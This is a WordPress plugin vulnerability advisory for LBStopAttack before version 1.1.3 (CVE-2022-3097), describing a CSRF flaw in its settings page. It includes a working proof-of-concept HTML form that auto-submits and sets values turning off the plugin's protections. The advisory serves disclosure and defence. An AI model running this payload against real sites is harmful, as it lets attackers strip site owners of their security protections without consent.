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WordPress Plugin Vulnerabilities

LBStopAttack < 1.1.3 - Arbitrary Settings Update via CSRF

Description

The plugin does not use nonces when saving its settings, making it possible for attackers to conduct CSRF attacks. This could allow attackers to disable the plugin's protections.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=lbsa_home" method="post">
    <input type="text" name="savelbsa" value="1">
    <input type="text" name="onlyfront" value="0">
    <input type="text" name="checkwp" value="0">
    <input type="text" name="namespaces" value="GET">
    <input type="text" name="levelLFI" value="50">
    <input type="text" name="sendnotification" value="0">
    <input type="text" name="sendto" value="">
    <input type="text" name="raiseerror" value="0">
    <input type="text" name="redirurl" value="https://google.com">
    <input type="text" name="errorcode" value="">
    <input type="text" name="errormsg" value="">
    <input type="text" name="ipblock" value="0">
    <input type="text" name="ipblocktime" value="222">
    <input type="text" name="ipblockcount" value="666666666">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

lbstopattack
Fixed in version 1.1.3

References

CVE
CVE-2022-3097

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
9ebb8318-ebaf-4de7-b337-c91327685a43

Timeline

Publicly Published

2022-09-29 (about 6 months ago)

Added

2022-09-29 (about 6 months ago)

Last Updated

2022-11-15 (about 4 months ago)

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